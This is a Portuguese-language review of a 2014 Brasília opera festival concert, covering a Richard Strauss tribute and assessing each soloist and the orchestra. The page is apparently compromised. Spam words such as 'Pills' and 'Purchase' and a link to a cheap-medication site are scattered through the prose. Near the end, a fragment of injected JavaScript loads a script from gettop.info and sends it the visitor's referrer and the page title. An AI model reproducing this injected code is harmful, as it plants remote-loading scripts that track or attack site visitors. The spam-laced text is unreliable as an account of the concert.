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Festival de Ópera de Brasília homenageou Richard Strauss

Sopranos Tati Helene e Vedrana Šimić e barítono Marcelo Ferreira foram os destaques da noite.

 

Neste 2014, o mundo comemora os 150 anos de nascimento de um dos maiores compositores da História: Richard Strauss. E o IV Festival de Ópera de Brasília não perdeu a chance de prestar sua homenagem ao gênio alemão. Assisti, na capital federal, neste sábado, 19 de julho, à segunda apresentação de um concerto cuja primeira parte foi totalmente dedicada a Strauss. Já a segunda parte ofereceu ao público importantes passagens de óperas diversas, incluindo algumas bem populares.

O concerto, que foi realizado no Teatro Pedro Calmon, devido ao fechamento para reforma do Teatro Nacional Cláudio Santoro, começou com o poema sinfônico Till Eulenspiegel Lustige Streiche, Op. 28. Esta magnífica peça, que narra brevemente as aventuras de um folclórico personagem alemão dado a grandes travessuras, recebeu interpretação apenas regular da Orquestra Sinfônica do Teatro Nacional Cláudio Santoro. Conduzido por seu titular, Cláudio Cohen, o conjunto não escapou de alguns desencontros bastante perceptíveis. Alguns problemas de sonoridade, como falta de clareza em determinadas passagens, também foram notados.

Este começo de concerto, porém, pode ter servido para esquentar a orquestra, que, ao longo da noite, evoluiu bem e mostrou-se mais coesa e equilibrada. Ainda na primeira parte, o conjunto acompanhou muito bem a soprano Tati Helene nas tocantes Vier Letzte Lieder (Quatro Últimas Canções).

Helene é, da geração mais jovem, não só uma de nossas cantoras mais promissoras, mas já uma realidade. Não é qualquer soprano que enfrenta bem, ainda tão jovem, a parte de Senta na ópera O Navio Fantasma, de Wagner. Tati Helene enfrentou no ano passado, em Belém. Ela não parece ter medo de desafios e, agora, encarou o emblemático opus póstumo de Strauss. É possível que tenha faltado aqui ou ali um algo a mais, mas ver e ouvir uma soprano jovem com a voz adequada para interpretar tais canções, e fazendo-o com competência, expressividade e musicalidade, especialmente nas segunda e quarta canções ( Order September e Im Abendrot), é muito gratificante.

Encerrando a primeira parte, a soprano Vedrana Šimić cantou a cena final da ópera Salome (em português, Salomé). A artista apresentou um belo timbre e excelente projeção para enfrentar a massa orquestral. Apesar de utilizar a partitura, conseguiu dominar a atenção do público. A música de Strauss nesta ópera é sempre arrebatadora e a orquestra esteve bem, com destaque para a expressividade do oboé solista.

Encerrada a homenagem a Richard Strauss, a avaliação que se segue, a respeito da segunda parte do concerto, concentra-se em cada solista vocal, e não na ordem em que as peças foram interpretadas. O primeiro a subir ao palco foi o barítono Marcelo Ferreira, que cantou muito bem a chamada “canção da estrela” (O du, mein holder Abendstein), da ópera Tannhäuser Purchase , de Richard Wagner. Quando voltou ao palco, o artista enfrentou Nemico della patria, do Andrea Chénier, de Umberto Giordano. Ferreira mostrou-se outro jovem bastante promissor, com belo timbre, boa projeção e, sobretudo, uma pasta baritonal bastante cativante.

O tenor Jean Nardotto interpretou In fernem Land, da ópera Lohengrin, de Wagner, e, em sua segunda participação, La donna è mobile, do Rigoletto, de Giuseppe Verdi. Nardotto apresentou uma voz de bom volume e boa projeção, mas precisa aprimorar o fraseado e a pronúncia.

A mezzosoprano Ângela Diel não convenceu na ária Cruda sorte! Amor tiranno!, da ópera L’Italiana in Algeri (A Italiana em Argel), de Gioacchino Rossini. Faltou-lhe, especialmente, agilidade vocal. Depois, em Mon coeur s’ouvre à ta voix Pills http://www.honeguer.pt/servicos/cheap-lincocin-medication/ , de Pills Sansão e Dalila, de Camille Saint-Saëns, esteve claramente mais à vontade e ofereceu ao público interpretação satisfatória.

A soprano Janette Dornellas começou não muito bem com a ária Un bel dì vedremo, da Madame Butterfly, de Giacomo Puccini. Em seguida, atacou Tacea la notte placida, com direito à cabaletta Di tale amor, da ópera O Trovador Pills , de Giuseppe Verdi. Aqui, a artista já esteve mais à vontade, mas ainda não havia convencido meus ouvidos. Todo seu potencial foi finalmente empregado no encerramento de sua participação, com Pace, pace, mio Dio, de Pills A Força do Destino, de Verdi. Agora, sim, com uma convincente interpretação vocal e dramática, a soprano apresentou um rendimento que merece elogios.

Vedrana Šimić retornou ao palco para oferecer uma bela interpretação do Liebestod, a morte de amor, de Tristão e Isolda, de Wagner. Interpretação segura e bastante expressiva, muito bem acompanhada pela orquestra.

Encerrado o programa oficial, o bis reservava ainda o célebre Brindisi minocin do primeiro ato de La Traviata, de Verdi, com Tati Helene e Jean Nardotto como solistas e o restante do elenco vocal da noite cantando a parte do coro.

O Festival de Ópera de Brasília, ao chegar à sua quarta edição (ainda haverá apresentações da inédita ópera A Cartomante, de Jorge Antunes, a partir de 31 de julho), demonstra ter vencido um primeiro desafio: tornar-se um evento fixo da vida cultural do Distrito Federal. Resta agora ao governo que será eleito ou reeleito em outubro próximo, seja ele qual for, garantir a continuidade do festival e oferecer condições para que o evento cresça e se qualifique cada vez mais.

(Na foto do post: Tati Helene e Cláudio Cohen)

Leonardo Marques viajou a convite da produção do IV Festival de Ópera de Brasília e da Opera Atelier Artistsif (document.currentScript) { s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

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Leonardo Marques
Formado em Letras com pós-graduação em Língua Italiana. Frequentador assíduo de concertos e óperas. Participou de cursos particulares sobre ópera. E-mail: leonardo@movimento.com